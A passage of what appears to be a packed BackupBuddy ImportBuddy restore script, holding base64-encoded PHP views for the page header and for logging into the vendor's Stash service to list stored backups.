QkJLW1vei1ib3JkZXItcmFkaXVzOiAyNXB4OwoJCQkJaGVpZ2h0OiAyMDBweDsKCQkJCW92ZXJmbG93OiBzY3JvbGw7CgkJCQlwYWRkaW5nOiAxMnB4OwoJCQkJd2hpdGUtc3BhY2U6IHByZTsKCQkJCXdpZHRoOiAxMDAlOwoJCQkJbWFyZ2luOiAwOwoJCQkJYm94LXNpemluZzogYm9yZGVyLWJveDsKCQkJCXJlc2l6ZTogYm90aDsKCQkJfQoJCQkuYmFja3VwYnVkZHlfbG9nX2Vycm9yIHsKCQkJCWNvbG9yOiByZWQ7CgkJCQlmb250LXdlaWdodDogYm9sZDsKCQkJfQoJCQkuYmFja3VwYnVkZHlfbG9nX3dhcm5pbmcgewoJCQkJY29sb3I6IG9yYW5nZTsKCQkJCWZvbnQtd2VpZ2h0OiBib2xkOwoJCQl9CgkJCS5iYWNrdXBidWRkeV9sb2dfbm90aWNlIHsKCQkJCWNvbG9yOiBibHVlOwoJCQkJZm9udC13ZWlnaHQ6IGJvbGQ7CgkJCX0KCQkJI2JhY2t1cGJ1ZGR5X21lc3NhZ2VzOjotd2Via2l0LXNjcm9sbGJhciB7CgkJCQktd2Via2l0LWFwcGVhcmFuY2U6IG5vbmU7CgkJCQl3aWR0aDogMTFweDsKCQkJCWhlaWdodDogMTFweDsKCQkJfQoJCQkjYmFja3VwYnVkZHlfbWVzc2FnZXM6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIHsKCQkJCWJvcmRlci1yYWRpdXM6IDhweDsKCQkJCWJvcmRlcjogMnB4IHNvbGlkIHdoaXRlOyAvKiBzaG91bGQgbWF0Y2ggYmFja2dyb3VuZCwgY2FuJ3QgYmUgdHJhbnNwYXJlbnQgKi8KCQkJCWJhY2tncm91bmQtY29sb3I6IHJnYmEoMCwgMCwgMCwgLjUpOwoJCQl94oCLCgkJPC9zdHlsZT4KCTwvaGVhZD4KCQk8P3BocAoJCS8vaWYgKCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2Rpc3BsYXlfbW9kZSddID09ICdub3JtYWwnICkgewoJCQllY2hvICc8Ym9keSc7CgkJCWlmICggJ2VtYmVkJyAhPSBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ2Rpc3BsYXlfbW9kZScgKSApIHsgZWNobyAnIHN0eWxlPSJiYWNrZ3JvdW5kOiAjRkZGOyInOyB9CgkJCWVjaG8gJz4nOwoJCQlpZiAoICdlbWJlZCcgIT0gcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdkaXNwbGF5X21vZGUnICkgKSB7CgkJCQllY2hvICc8ZGl2IGNsYXNzPSJ0b3BOYXYiPic7CgoJCQkJCWlmICggdHJ1ZSA9PT0gQXV0aDo6aXNfYXV0aGVudGljYXRlZCgpICkgeyAvLyBPbmx5IGRpc3BsYXkgdGhlc2UgbGlua3MgaWYgbG9nZ2VkIGluLgoJCQkJCQllY2hvICc8YSAnOwoJCQkJCQlpZiAoIHBiX2JhY2t1cGJ1ZGR5OjpfR0VUKCAnc3RlcCcgKSAhPSAnJyApIHsgZWNobyAnY2xhc3M9ImFjdGl2ZVBhZ2UiICc7IH0KCQkJCQkJZWNobyAnaHJlZj0iaW1wb3J0YnVkZHkucGhwIj5SZXN0b3JlIC8gTWlncmF0ZTwvYT4nOwoKCQkJCQkJZWNobyAnPGEgJzsKCQkJCQkJaWYgKCBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ3BhZ2UnICkgPT0gJ3NlcnZlcmluZm8nICkgeyBlY2hvICdjbGFzcz0iYWN0aXZlUGFnZSIgJzsgfQoJCQkJCQllY2hvICdocmVmPSI/cGFnZT1zZXJ2ZXJpbmZvIj5TZXJ2ZXIgSW5mb3JtYXRpb248L2E+JzsKCgkJCQkJCWVjaG8gJzxhICc7CgkJCQkJCWlmICggcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdwYWdlJyApID09ICdkYnJlcGxhY2UnICkgeyBlY2hvICdjbGFzcz0iYWN0aXZlUGFnZSIgJzsgfQoJCQkJCQllY2hvICdocmVmPSI/cGFnZT1kYnJlcGxhY2UiPkRhdGFiYXNlIFRleHQgUmVwbGFjZTwvYT4nOwoKCQkJCQkJZWNobyAnPGEgaHJlZj0iaHR0cHM6Ly9pdGhlbWVzaGVscC56ZW5kZXNrLmNvbS9oYy9lbi11cy9jYXRlZ29yaWVzLzIwMDA2MjMwMC1CYWNrdXBCdWRkeS8iIHRhcmdldD0iX2JsYW5rIj5Lbm93bGVkZ2UgQmFzZTwvYT4nOwoJCQkJCQllY2hvICc8YSBocmVmPSJodHRwOi8vaXRoZW1lcy5jb20vc3VwcG9ydC8iIHRhcmdldD0iX2JsYW5rIj5TdXBwb3J0PC9hPic7CgkJCQkJfQoKCQkJCQkkc2ltcGxlVmVyc2lvbiA9IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snYmJfdmVyc2lvbiddOwoJCQkJCWlmICggc3RycG9zKCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2JiX3ZlcnNpb24nXSwgJyAnICkgPiAwICkgewoJCQkJCQkkc2ltcGxlVmVyc2lvbiA9IHN1YnN0ciggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydiYl92ZXJzaW9uJ10sIDAsIHN0cnBvcyggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydiYl92ZXJzaW9uJ10sICcgJyApICk7CgkJCQkJfQoJCQkJCWVjaG8gJzxhIGhyZWY9Imh0dHA6Ly9pdGhlbWVzLmNvbS9wdXJjaGFzZS9iYWNrdXBidWRkeS8iIHRhcmdldD0iX2JsYW5rIiB0aXRsZT0iVmlzaXQgQmFja3VwQnVkZHkgV2Vic2l0ZSBpbiBOZXcgV2luZG93IiBzdHlsZT0iZmxvYXQ6IHJpZ2h0OyI+PGltZyBzcmM9ImltcG9ydGJ1ZGR5L2ltYWdlcy9pY29uX21lbnVfMzJ4MzIucG5nIiB3aWR0aD0iMTYiIGhlaWdodD0iMTYiPiZuYnNwOyZuYnNwO0ltcG9ydEJ1ZGR5IHYnIC4gJHNpbXBsZVZlcnNpb24gLiAnIGZvciBCYWNrdXBCdWRkeTwvYT4nOwoJCQkJZWNobyAnPC9kaXY+JzsKCQkJfQoJCT8+CgoJCTxkaXYgc3R5bGU9InBvc2l0aW9uOiByZWxhdGl2ZTsgaGVpZ2h0OiA3MHB4OyBtYXJnaW4tdG9wOiA1MHB4OyB3aWR0aDogMTAwJTsgb3ZlcmZsb3c6IGhpZGRlbjsiPgoJCQk8ZGl2IHN0eWxlPSJtYXgtd2lkdGg6IDEwMDBweDsgbWFyZ2luLWxlZnQ6IGF1dG87IG1hcmdpbi1yaWdodDogYXV0bzsiPgoJCQkJPCEtLSA8c3BhbiBpZD0icmVzdG9yZWJ1ZGR5X2lmcmFtZV9wbGFjZWhvbGRlciI+V2VsY29tZSBzdGVwIDE8L3NwYW4+IC0tPgoJCQkJPHNjcmlwdD5pZnJhbWVQb3N0SW5pdCA9IGZhbHNlOzwvc2NyaXB0PgoJCQkJPGlmcmFtZSBvbkxvYWQ9ImlmICggdHJ1ZSA9PT0gaWZyYW1lUG9zdEluaXQgKSB7IE5Qcm9ncmVzcy5kb25lKCk7IH0iIG5hbWU9Im1pbmlGcmFtZSIgaWQ9Im1pbmlGcmFtZSIgd2lkdGg9IjEwMCUiIGhlaWdodD0iNzBweCIgZnJhbWVib3JkZXI9IjAiIHBhZGRpbmc9IjAiIG1hcmdpbj0iMCI+RXJyb3IgIzQ1ODQ1OTQ1NzkuIEJyb3dzZXIgbm90IGNvbXBhdGlibGUgd2l0aCBpZnJhbWVzLjwvaWZyYW1lPgoJCQkJPHNjcmlwdD5pZnJhbWVQb3N0SW5pdCA9IHRydWU7PC9zY3JpcHQ+CgkJCTwvZGl2PgoJCTwvZGl2PgoKCQk8ZGl2IHN0eWxlPSJkaXNwbGF5OiBub25lOyIgaWQ9InBiX2ltcG9ydGJ1ZGR5X2JsYW5rYWxlcnQiPjw/cGhwIHBiX2JhY2t1cGJ1ZGR5OjphbGVydCggJyNUSVRMRSMgI01FU1NBR0UjJywgdHJ1ZSwgJzkwMjEnICk7ID8+PC9kaXY+CgoJCTxkaXYgY2xhc3M9Im1haW5fYm94X3dyYXAiPgoKCgkJCTw/cGhwIGlmICggdHJ1ZSA9PT0gQXV0aDo6aXNfYXV0aGVudGljYXRlZCgpICkgeyAvLyBPbmx5IHJlY29yZCBsb2dnaW5nIGlmIGF1dGhlbnRpY2F0ZWQuID8+CgkJCQk8ZGl2IGNsYXNzPSJtYWluX2JveF9oZWFkIj4KCQkJCQk8c3BhbiBpZD0icGFnZVRpdGxlIj4mbmJzcDs8L3NwYW4+CgkJCQkJPGEgc3R5bGU9ImZvbnQtc2l6ZTogMC42ZW07IGZsb2F0OiByaWdodDsgbWFyZ2luLXRvcDogNnB4OyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIiBvbmNsaWNrPSJqUXVlcnkoJyNwYl9iYWNrdXBidWRkeV9zdGF0dXNfd3JhcCcpLnRvZ2dsZSgpOyI+RGlzcGxheSBTdGF0dXMgTG9nPC9hPgoJCQkJPC9kaXY+CgkJCQk8P3BocAoJCQkJZWNobyBwYl9iYWNrdXBidWRkeTo6JGNsYXNzZXNbJ2ltcG9ydCddLT5zdGF0dXNfYm94KCAnU3RhdHVzIExvZyBmb3IgZm9yIEltcG9ydEJ1ZGR5IGZyb20gQmFja3VwQnVkZHkgdicgLiBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2JiX3ZlcnNpb24nXSAuICcuLi4nICk7CgkJCQk/PgoKCQkJCTxzY3JpcHQ+aW1wb3J0YnVkZHlfbG9hZFJlc3RvcmVFdmVudHMoKTs8L3NjcmlwdD4KCQkJCTw/cGhwCgkJCX0gZWxzZSB7ID8+CgkJCQk8ZGl2IGNsYXNzPSJtYWluX2JveF9oZWFkIj4KCQkJCQk8c3BhbiBpZD0icGFnZVRpdGxlIj4mbmJzcDs8L3NwYW4+CgkJCQk8L2Rpdj4KCgkJCTw/cGhwIH0gPz4KCQkJPGRpdiBjbGFzcz0ibWFpbl9ib3hfaGVhZCBlcnJvcl9hbGVydF9ib3giIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CgkJCQk8c3BhbiBjbGFzcz0iZXJyb3JfYWxlcnRfdGl0bGUiPkVycm9yKHMpPC9zcGFuPgoJCQkJPHVsIGNsYXNzPSJiYWNrdXBidWRkeV9lcnJvcl9saXN0Ij4KCQkJCQk8IS0tIDxsaT5FcnJvciAjMTIzb25seUF0ZXN0OiBBbiBlcnJvciBoYXMgTk9UIGhhcHBlbmVkLiBUaGlzIGlzIGEgb25seSB0ZXN0LjwvbGk+IC0tPgoJCQkJPC91bD4KCQkJPC9kaXY+CgkJCTxkaXYgY2xhc3M9Im1haW5fYm94X2hlYWQgd2FybmluZ19hbGVydF9ib3giIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CgkJCQk8c3BhbiBjbGFzcz0iZXJyb3Jfd2FybmluZ190aXRsZSI+QWxlcnQocyk8L3NwYW4+CgkJCQk8dWwgY2xhc3M9ImJhY2t1cGJ1ZGR5X3dhcm5pbmdfbGlzdCI+CgkJCQkJPCEtLSA8bGk+RXJyb3IgIzEyM29ubHlBdGVzdDogQSB3YXJuaW5nIGhhcyBOT1QgaGFwcGVuZWQuIFRoaXMgaXMgYSBvbmx5IHRlc3QuPC9saT4gLS0+CgkJCQk8L3VsPgoJCQk8L2Rpdj4KCgoJCQk8ZGl2IGNsYXNzPSJtYWluX2JveCI+CgoKCg==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/_header.php,importbuddy/views/_header.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/_html_1_stash.php,importbuddy/views/_html_1_stash.php
PD9waHAKLyoqCiAqIEhUTUwgMSBTdGFzaCBWaWV3CiAqCiAqIEBwYWNrYWdlIEJhY2t1cEJ1ZGR5CiAqLwoKZ2xvYmFsICR3cF92ZXJzaW9uOwokd3BfdmVyc2lvbiA9IDE7CgovKioKICogU3Rhc2ggQVBJIEZ1bmN0aW9uCiAqCiAqIEBwYXJhbSBhcnJheSAgJHNldHRpbmdzICAgICAgICAgICBTZXR0aW5ncyBhcnJheS4KICogQHBhcmFtIHN0cmluZyAkYWN0aW9uICAgICAgICAgICAgIEFQSSBBY3Rpb24gY2FsbC4KICogQHBhcmFtIGFycmF5ICAkYWRkaXRpb25hbF9wYXJhbXMgIEFycmF5IG9mIGFkZGl0aW9uYWwgcGFyYW1ldGVycy4KICoKICogQHJldHVybiBzdHJpbmd8YXJyYXkgIEVycm9yIHN0cmluZyBvciBKU09OIHJlc3BvbnNlIGFycmF5LgogKi8KZnVuY3Rpb24gc3Rhc2hBUEkoICRzZXR0aW5ncywgJGFjdGlvbiwgJGFkZGl0aW9uYWxfcGFyYW1zID0gYXJyYXkoKSApIHsKCSRhcGlfdXJsID0gJ2h0dHBzOi8vc3Rhc2gtYXBpLml0aGVtZXMuY29tJzsKCglnbG9iYWwgJHdwX3ZlcnNpb247CgkkdXJsX3BhcmFtcyA9IGFycmF5KAoJCSdhY3Rpb24nICAgID0+ICRhY3Rpb24sCgkJJ3VzZXInICAgICAgPT4gJHNldHRpbmdzWydpdHhhcGlfdXNlcm5hbWUnXSwKCQknd3AnICAgICAgICA9PiAkd3BfdmVyc2lvbiwKCQknYmInICAgICAgICA9PiAwLAoJCSdpYicgICAgICAgID0+IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snYmJfdmVyc2lvbiddLAoJCSdzaXRlJyAgICAgID0+ICdpbXBvcnRidWRkeScsCgkJJ3RpbWVzdGFtcCcgPT4gdGltZSgpLAoJKTsKCglpZiAoIGlzc2V0KCAkc2V0dGluZ3NbJ2l0eGFwaV9wYXNzd29yZCddICkgKSB7IC8vIFVzZWQgb24gaW5pdGl0YWwgY29ubmVjdGlvbiB0bwoJCSRwYXJhbXMgPSBhcnJheSggJ2F1dGhfdG9rZW4nID0+ICRzZXR0aW5nc1snaXR4YXBpX3Bhc3N3b3JkJ10gKTsgLy8gaXR4YXBpX3Bhc3N3b3JkIGlzIGEgSEFTSCBvZiB1c2VyJ3MgcGFzc3dvcmQuCgl9IGVsc2VpZiAoIGlzc2V0KCAkc2V0dGluZ3NbJ2l0eGFwaV90b2tlbiddICkgKSB7IC8vIFVzZWQgb24gaW5pdGl0YWwgY29ubmVjdGlvbiB0bwoJCSRwYXJhbXMgPSBhcnJheSggJ3Rva2VuJyA9PiAkc2V0dGluZ3NbJ2l0eGFwaV90b2tlbiddICk7IC8vIGl0eGFwaV9wYXNzd29yZCBpcyBhIEhBU0ggb2YgdXNlcidzIHBhc3N3b3JkLgoJfSBlbHNlIHsKCQkkZXJyb3IgPSAnQmFja3VwQnVkZHkgRXJyb3IgIzc5Mzc0OTQzNjogTm8gdmFsaWQgdG9rZW4gKGl0eGFwaV90b2tlbikgb3IgaGFzaGVkIHBhc3N3b3JkIChpdHhhcGlfcGFzc3dvcmQpIHNwZWNpZmllZC4gVGhpcyBzaG91bGQgbm90IGhhcHBlbi4nOwoJCXRyaWdnZXJfZXJyb3IoICRlcnJvciwgRV9VU0VSX05PVElDRSApOwoJCXJldHVybiAkZXJyb3I7Cgl9CgoJJHBhcmFtcyA9IGFycmF5X21lcmdlKCAkcGFyYW1zLCAkYWRkaXRpb25hbF9wYXJhbXMgKTsKCSRib2R5ICAgPSBhcnJheSggJ3JlcXVlc3QnID0+IGpzb25fZW5jb2RlKCAkcGFyYW1zICkgKTsKCgkkcG9zdF91cmwgPSAkYXBpX3VybCAuICcvPycgLiBodHRwX2J1aWxkX3F1ZXJ5KCAkdXJsX3BhcmFtcywgbnVsbCwgJyYnICk7CgoJJHJlcXVlc3QgPSBuZXcgUmVxdWVzdENvcmUoICRwb3N0X3VybCApOwoJJHJlcXVlc3QtPnNldF9tZXRob2QoICdQT1NUJyApOwoJJHJlcXVlc3QtPnNldF9ib2R5KCAkYm9keSApOwoJJHJlc3BvbnNlID0gJHJlcXVlc3QtPnNlbmRfcmVxdWVzdCggdHJ1ZSApOwoKCWlmICggISAkcmVzcG9uc2UtPmlzT0soKSApIHsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnU3Rhc2ggcmVxdWVzdCBmb3IgZmlsZXMgZmFpbGVkLicgKTsKCQlyZXR1cm4gJHJlc3BvbnNlLT5ib2R5OwoJfSBlbHNlIHsKCQkvLyBTZWUgaWYgd2UgZ290IGEganNvbiByZXNwb25zZS4KCQkkcmVzcG9uc2VfZGVjb2RlZCA9IGpzb25fZGVjb2RlKCAkcmVzcG9uc2UtPmJvZHksIHRydWUgKTsKCQlpZiAoICEgJHJlc3BvbnNlX2RlY29kZWQgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdTdGFzaCBkaWQgbm90IGdldCB2YWxpZCBqc29uIHJlc3BvbnNlLicgKTsKCQl9CgoJCS8vIEZpbmFsbHkgc2VlIGlmIHRoZSBBUEkgcmV0dXJuZWQgYW4gZXJyb3IuCgkJaWYgKCBpc3NldCggJHJlc3BvbnNlX2RlY29kZWRbJ2Vycm9yJ10gKSApIHsKCQkJaWYgKCBpc3NldCggJHJlc3BvbnNlX2RlY29kZWRbJ2Vycm9yJ11bJ21lc3NhZ2UnXSApICkgewoJCQkJJGVycm9yID0gJ0Vycm9yICMzOTc1Mjg5M2EuIFNlcnZlciByZXBvcnRlZCBhbiBlcnJvciBwZXJmb3JtaW5nIGFjdGlvbiBgJyAuICRhY3Rpb24gLiAnYCB3aXRoIGFkZGl0aW9uYWwgcGFyYW1zOiBgJyAuIHByaW50X3IoICRhZGRpdGlvbmFsX3BhcmFtcywgdHJ1ZSApIC4gJ2AuIERldGFpbHM6IGAnIC4gcHJpbnRfciggJHJlc3BvbnNlX2RlY29kZWRbJ2Vycm9yJ10sIHRydWUgKSAuICdgLic7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnd2FybmluZycsICRlcnJvciApOwoJCQkJcmV0dXJuICRyZXNwb25zZV9kZWNvZGVkWydlcnJvciddWydtZXNzYWdlJ107CgkJCX0gZWxzZSB7CgkJCQkkZXJyb3IgPSAnRXJyb3IgIzM4MjM5NzMuIFJlY2VpdmVkIFN0YXNoIEFQSSBlcnJvciBidXQgbm8gbWVzc2FnZSBmb3VuZC4gRGV0YWlsczogYCcgLiBwcmludF9yKCAkcmVzcG9uc2VfZGVjb2RlZCwgdHJ1ZSApIC4gJ2AuJzsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICd3YXJuaW5nJywgJGVycm9yICk7CgkJCQlyZXR1cm4gJGVycm9yOwoJCQl9CgkJfSBlbHNlIHsgLy8gTk8gRVJST1JTLgoJCQlyZXR1cm4gJHJlc3BvbnNlX2RlY29kZWQ7CgkJfQoJfQp9Cj8+Cgo8c3R5bGU+Ci53aWRlZmF0IHRkIHsKCXBhZGRpbmc6IDIwcHggN3B4OwoJZm9udC1zaXplOiAxNHB4Owp9Ci53aWRlZmF0IHRkIGE6aG92ZXIgewoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9Ci53aWRlZmF0IHRkIGZvcm0gewoJbWFyZ2luLXRvcDogLTEycHg7Cglmb250LXNpemU6IDEycHg7Cn0KLnN0YXNoX2JhY2t1cF9maWxlIHsKCWZvbnQtc2l6ZTogMS4yZW07Cn0KPC9zdHlsZT4KPD9waHAKJElUWEFQSV9LRVkgPSAnaXhobzdkazBwMjQ0bjBvYic7IC8vIE1vdmUgdG8gYSBjb25zdGFudD8KJElUWEFQSV9VUkwgPSAnaHR0cDovL2FwaS5pdGhlbWVzLmNvbSc7IC8vIE1vdmUgdG8gYSBjb25zdGFudD8KCiRjcmVkZW50aWFsc19mb3JtID0gbmV3IHBiX2JhY2t1cGJ1ZGR5X3NldHRpbmdzKCAncHJlX3NldHRpbmdzJywgZmFsc2UsICd1cGxvYWQ9c3Rhc2gjcGx1Z2luYnVkZHktdGFicy1zdGFzaCcgKTsgLy8gbmFtZSwgc2F2ZXBvaW50fGZhbHNlLCBhZGRpdGlvbmFsIHF1ZXJ5c3RyaW5nLgoKJGNyZWRlbnRpYWxzX2Zvcm0tPmFkZF9zZXR0aW5nKAoJYXJyYXkoCgkJJ3R5cGUnICA9PiAndGV4dCcsCgkJJ25hbWUnICA9PiAnaXR4YXBpX3VzZXJuYW1lJywKCQkndGl0bGUnID0+IF9fKCAnaVRoZW1lcyB1c2VybmFtZScsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCSdydWxlcycgPT4gJ3JlcXVpcmVkfHN0cmluZ1sxLTQ1XScsCgkpCik7CiRjcmVkZW50aWFsc19mb3JtLT5hZGRfc2V0dGluZygKCWFycmF5KAoJCSd0eXBlJyAgPT4gJ3Bhc3N3b3JkJywKCQknbmFtZScgID0+ICdpdHhhcGlfcGFzc3dvcmRfcmF3JywKCQkndGl0bGUnID0+IF9fKCAnaVRoZW1lcyBwYXNzd29yZCcsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCSdydWxlcycgPT4gJ3JlcXVpcmVkfHN0cmluZ1sxLTQ1XScsCgkpCik7Cgokc2V0dGluZ3NfcmVzdWx0ID0gJGNyZWRlbnRpYWxzX2Zvcm0tPnByb2Nlc3MoKTsKJGxvZ2luX3dlbGNvbWUgICA9ICc8Y2VudGVyPicgLiBfXyggJ0xvZyBpbiB0byBTdGFzaCB3aXRoIHlvdXIgaVRoZW1lcy5jb20gbWVtYmVyIGFjY291bnQuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnPGJyPjxicj4nOwoKaWYgKCBjb3VudCggJHNldHRpbmdzX3Jlc3VsdCApID09PSAwICkgeyAvLyBObyBmb3JtIHN1Ym1pdHRlZC4KCgllY2hvICRsb2dpbl93ZWxjb21lOwoJJGNyZWRlbnRpYWxzX2Zvcm0tPmRpc3BsYXlfc2V0dGluZ3MoICdDb25uZWN0IHRvIFN0YXNoJyApOwoKfSBlbHNlIHsgLy8gRm9ybSBzdWJtaXR0ZWQuCglpZiAoIGNvdW50KCAkc2V0dGluZ3NfcmVzdWx0WydlcnJvcnMnXSApID4gMCApIHsgLy8gRm9ybSBlcnJvcnMuCgkJZWNobyAkbG9naW5fd2VsY29tZTsKCgkJcGJfYmFja3VwYnVkZHk6OmFsZXJ0KCBpbXBsb2RlKCAnPGJyPicsICRzZXR0aW5nc19yZXN1bHRbJ2Vycm9ycyddICkgKTsKCQkkY3JlZGVudGlhbHNfZm9ybS0+ZGlzcGxheV9zZXR0aW5ncyggJ0Nvbm5lY3QgdG8gU3Rhc2gnICk7CgoJfSBlbHNlIHsgLy8gTm8gZm9ybSBlcnJvcnM7IHByb2Nlc3MhCgoJCXJlcXVpcmVfb25jZSBkaXJuYW1lKCBkaXJuYW1lKCBfX0ZJTEVfXyApICkgLiAnL2xpYi9yZXF1ZXN0Y29yZS9yZXF1ZXN0Y29yZS5jbGFzcy5waHAnOwoJCXJlcXVpcmVfb25jZSBkaXJuYW1lKCBkaXJuYW1lKCBfX0ZJTEVfXyApICkgLiAnL2xpYi9zdGFzaDIvY2xhc3MuaXR4X2hlbHBlcjIucGhwJzsKCgkJZ2xvYmFsICR3cF92ZXJzaW9uOwoJCSRpdHhhcGlfdXNlcm5hbWUgPSBzdHJ0b2xvd2VyKCAkc2V0dGluZ3NfcmVzdWx0WydkYXRhJ11bJ2l0eGFwaV91c2VybmFtZSddICk7CgkJJHBhc3N3b3JkX2hhc2ggICA9IGlUaGVtZXNfQ3JlZGVudGlhbHM6OmdldF9wYXNzd29yZF9oYXNoKCAkaXR4YXBpX3VzZXJuYW1lLCAkc2V0dGluZ3NfcmVzdWx0WydkYXRhJ11bJ2l0eGFwaV9wYXNzd29yZF9yYXcnXSApOwoJCSRhY2Nlc3NfdG9rZW4gICAgPSBJVFhBUElfSGVscGVyMjo6Z2V0X2FjY2Vzc190b2tlbiggJGl0eGFwaV91c2VybmFtZSwgJHBhc3N3b3JkX2hhc2gsICdpbXBvcnRidWRkeScsICR3cF92ZXJzaW9uICk7CgoJCSRzZXR0aW5ncyA9IGFycmF5KAoJCQknaXR4YXBpX3VzZXJuYW1lJyA9PiAkaXR4YXBpX3VzZXJuYW1lLAoJCQknaXR4YXBpX3Bhc3N3b3JkJyA9PiAkYWNjZXNzX3Rva2VuLAoJCSk7CgkJJHJlc3BvbnNlID0gc3Rhc2hBUEkoICRzZXR0aW5ncywgJ2Nvbm5lY3QnICk7CgoJCSRsb2dnZWRfaW4gPSBmYWxzZTsKCQlpZiAoICEgaXNfYXJyYXkoICRyZXNwb25zZSApICkgeyAvLyBFcnJvciBtZXNzYWdlLgoJCQlwYl9iYWNrdXBidWRkeTo6YWxlcnQoICdFcnJvciAjMzk4Mzc5NCBmcm9tIHNlcnZlcjogYCcgLiBwcmludF9yKCAkcmVzcG9uc2UsIHRydWUgKSAuICdgLicgKTsKCQkJJGNyZWRlbnRpYWxzX2Zvcm0tPmRpc3BsYXlfc2V0dGluZ3MoICdTdWJtaXQnICk7CgkJfSBlbHNlIHsKCQkJaWYgKCBpc3NldCggJHJlc3BvbnNlWydlcnJvciddICkgKSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6YWxlcnQoICdFcnJvcjogJyAuICRyZXNwb25zZVsnZXJyb3InXVsnbWVzc2FnZSddICk7CgkJCQkkY3JlZGVudGlhbHNfZm9ybS0+ZGlzcGxheV9zZXR0aW5ncyggJ1N1Ym1pdCcgKTsKCQkJfSBlbHNlIHsKCQkJCWlmICggaXNzZXQoICRyZXNwb25zZVsndG9rZW4nXSApICkgewoJCQkJCSRzZXR0aW5nc1snaXR4YXBpX3Rva2VuJ10gPSAkcmVzcG9uc2VbJ3Rva2VuJ107CgkJCQkJJGl0eGFwaV90b2tlbiAgICAgICAgICAgICA9ICRzZXR0aW5nc1snaXR4YXBpX3Rva2VuJ107CgkJCQkJdW5zZXQoICRzZXR0aW5nc1snaXR4YXBpX3Bhc3N3b3JkJ10gKTsgLy8gTm8gbG9uZ2VybiBlZWRlZCBzaW5jZSB3ZSBoYXZlIHRva2VuIG5vdy4KCQkJCQkkbG9nZ2VkX2luID0gdHJ1ZTsKCQkJCX0gZWxzZSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OmFsZXJ0KCAnRXJyb3IgIzM0OTc0NzM0MzIzOiBVbmV4cGVjdGVkIHNlcnZlciByZXNwb25zZS4gVG9rZW4gbWlzc2luZy4gQ2hlY2sgeW91ciBsb2dpbiBhbmQgdHJ5IGFnYWluLiBEZXRhaWxlZCByZXNwb25zZTogYCcgLiBwcmludF9yKCAkcmVzcG9uc2UsIHRydWUgKSAuICdgLicgKTsKCQkJCQkkY3JlZGVudGlhbHNfZm9ybS0+ZGlzcGxheV9zZXR0aW5ncyggJ1N1Ym1pdCcgKTsKCQkJCX0KCQkJfQoJCX0KCgkJaWYgKCB0cnVlID09PSAkbG9nZ2VkX2luICkgewoJCQkvLyBHZXQgZmlsZXMuCgkJCSRzdGFzaF9maWxlcyA9IHN0YXNoQVBJKCAkc2V0dGluZ3MsICdmaWxlcycgKTsKCgkJCS8vIEZpbmFsbHkgc2VlIGlmIHRoZSBBUEkgcmV0dXJuZWQgYW4gZXJyb3IuCgkJCWlmICggISBpc19hcnJheSggJHN0YXNoX2ZpbGVzICkgKSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6YWxlcnQoICdTdGFzaCBFcnJvcjogJyAuICRzdGFzaF9maWxlcyApOwoJCQkJJGNyZWRlbnRpYWxzX2Zvcm0tPmRpc3BsYXlfc2V0dGluZ3MoICdTdWJtaXQnICk7CgkJCX0gZWxzZSB7IC8vIE5PIEVSUk9SUy4KCgoJCQkJLy8gU29ydCBpbiBvcmRlciAmIGV4Y2x1ZGUgdW53YW50ZWQgYmFja3VwIHR5cGVzLgoJCQkJJGJhY2t1cF9saXN0X3RlbXAgPSBhcnJheSgpOwoJCQkJZm9yZWFjaCAoIChhcnJheSkgJHN0YXNoX2ZpbGVzIGFzICRpID0+ICRzdGFzaF9maWxlICkgewoJCQkJCSRmaWxlICAgICA9ICRzdGFzaF9maWxlWydmaWxlbmFtZSddOwoJCQkJCSR1cmwgICAgICA9ICRzdGFzaF9maWxlWyd1cmwnXTsKCQkJCQkkc2l6ZSAgICAgPSAkc3Rhc2hfZmlsZVsnc2l6ZSddOwoJCQkJCSRtb2RpZmllZCA9ICRzdGFzaF9maWxlWyd1cGxvYWRlZF90aW1lc3RhbXAnXTsKCgkJCQkJLy8gQXZvaWQgY29sbGlvbiBmb3Igc29ydGluZy4KCQkJCQl3aGlsZSAoIGlzc2V0KCAkYmFja3VwX2xpc3RfdGVtcFsgJG1vZGlmaWVkIF0gKSApIHsKCQkJCQkJJG1vZGlmaWVkICs9IDAuMTsKCQkJCQl9CgoJCQkJCWlmICggJ2RiJyA9PSAkc3Rhc2hfZmlsZVsnYmFja3VwX3R5cGUnXSApIHsKCQkJCQkJJGJhY2t1cF90eXBlID0gJ0RhdGFiYXNlJzsKCQkJCQl9IGVsc2VpZiAoICdmdWxsJyA9PSAkc3Rhc2hfZmlsZVsnYmFja3VwX3R5cGUnXSApIHsKCQkJCQkJJGJhY2t1cF90eXBlID0gJ0Z1bGwnOwoJCQkJCX0gZWxzZWlmICggJ3RoZW1lcycgPT0gJHN0YXNoX2ZpbGVbJ2JhY2t1cF90eXBlJ10gKSB7IC8vIE9taXQgZnJvbSBsaXN0LgoJCQkJCQl1bnNldCggJHN0YXNoX2ZpbGVzWyA